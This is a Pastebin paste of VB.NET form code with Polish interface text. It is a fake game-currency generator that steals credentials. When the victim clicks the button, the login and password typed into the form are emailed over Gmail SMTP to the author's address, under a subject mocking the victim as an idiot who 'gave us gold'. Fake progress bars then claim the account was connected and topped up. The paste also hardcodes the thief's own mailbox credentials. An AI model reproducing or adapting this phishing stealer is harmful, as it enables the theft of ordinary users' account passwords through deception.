Advertisement
Guest User

Untitled

a guest
Oct 1st, 2017
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.73 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  5.  
  6. End Sub
  7.  
  8. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  9. Timer1.Start()
  10.  
  11. Dim MyMailMessage As New MailMessage()
  12. Try
  13. MyMailMessage.From = New MailAddress("paprotkassiepluginy@gmail.com")
  14. MyMailMessage.To.Add("paprotkassiepluginy@gmail.com")
  15. MyMailMessage.Subject = "Jakis debil dał nam golda"
  16. MyMailMessage.Body = "Login: " + TextBox1.Text & vbCrLf + "Hasło: " + TextBox2.Text
  17. Dim SMTP As New SmtpClient("smtp.gmail.com")
  18. SMTP.Port = 587
  19. SMTP.EnableSsl = True
  20. SMTP.Credentials = New System.Net.NetworkCredential("paprotkassiepluginy@gmail.com", " kupcia123")
  21. SMTP.Send(MyMailMessage)
  22. TextBox2.Text = ""
  23. Catch ex As Exception
  24. End Try
  25. End Sub
  26. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  27. Timer2.Start()
  28. End Sub
  29.  
  30. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  31. ProgressBar1.Increment(1)
  32. If ProgressBar1.Value = 100 Then
  33. Label5.Text = "Konto zostało połaczone z serwerami"
  34. End If
  35. End Sub
  36.  
  37. Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
  38. ProgressBar2.Increment(20)
  39. If ProgressBar2.Value = 100 Then
  40. Label6.Text = "Konto zostało doładowane"
  41. End If
  42. End Sub
  43. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement